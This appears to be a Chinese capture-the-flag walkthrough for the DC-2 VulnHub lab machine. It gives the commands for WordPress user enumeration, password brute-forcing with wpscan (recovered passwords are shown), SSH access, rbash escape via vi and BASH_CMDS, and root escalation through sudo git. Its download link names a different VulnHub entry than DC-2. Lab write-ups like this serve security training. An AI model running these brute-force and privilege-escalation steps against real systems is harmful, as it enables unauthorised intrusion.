DC-2靶机详解
靶机下载地址
https://www.vulnhub.com/entry/de-ice-s1120,10/
靶机配置
主机发现
arp-scan -l
端口扫描
nmap -sS -Pn -A -p- -n 192.168.229.164
端口利用,访问网页
发现访问失败
http://192.168.229.164
添加本地/windows/system32/drivers/etc/host
kali:/etc/hosts
echo '192.168.229.164 dc-2' >> /etc/hosts
访问dc-2
http://dc-2/
找到flag1,根据提示需要工具cewl提取网页中关键词,生成密码字典
cewl: cewl工具爬取目标网站信息,生成相对应的字典
-w 将输出结果写入到文件中
语法:cewl +url -w +保存于哪个目录或文件
有了密码字典,还需要寻找用户名和登陆页面
由网页可知WordPress,所以我们使用kali中WPscan扫描用户
WPScan是一款强大的WordPress安全扫描工具wpscan --url http://example.com选项: `--enumerate`:启用特定类型的枚举扫描,如用户、插件和主题。`--plugins-detection`:设置插件检测的模式,如默认、被动或侵入式。`--detection-mode`:设置扫描的侦测模式,如快速、默认或深度。-u 用户-p 插件-t 主题
wpscan --url http://dc-2 -e u
密码爆破
wpscan --url http://dc-2 --passwords 123.txt
[SUCCESS] - jerry / adipiscing
[SUCCESS] - tom / parturient
目录扫描
python dirsearch.py -u "http://dc-2"
找到登录界面,配合前面的账户密码访问
找到了另一个flag
GETshell
根据提示,我们去尝试另一个端口ssh连接
发现jerry用户无法登录,我们尝试tom用户
ssh tom@192.168.229.164 -p 7744
密码:parturient
提权
发现我们执行的命令被禁止
输入compgen -c查看可用命令
compgen -c
其中less和vi都可以查看flag3.txt文件
vi flag3.txt
根据flag3提示,我们应该进行提权,切换为jerry用户,但是shell被限制了,于是我们需要绕过rbash,然后设置环境变量,最终成功su jerry
vi编辑器:vi flag3.txt:set shell=/bin/sh #shell需要时系统中原本就有的变量,不能自己捏造变量。:shell
打开了一个shell(部分功能依旧不可用),进入/home/jerry目录下查看文件flag4.txt
第一种方法虽然可以查看到flag4,但是依旧无法切换到jerry用户,无法使用可以利用来进行提权的命令,例如flag4中所提示的使用git命令进行提权,所以之后还是需要使用第二种方法去切换到jerry用户,来进行提权到root,所以比较鸡肋
这里建议直接使用第二种方法
第二种方法查看flag4
exit
退出vi的提权模式
绕过rbash,然后设置环境变量,最终成功su jerry
什么是rbash?它与一般shell的区别在于会限制一些行为,让一些命令无法执行
BASH_CMDS[a]=/bin/sh;a //把/bin/sh给a
/bin/bash
export PATH=$PATH:/bin/ //添加环境变量
切换用户
su jerry
密码:adipiscing
sudo -l查看提权方式
sudo -l
使用git提权,利用网站
https://gtfobins.github.io/#git
查看是否提权成功
id
whoami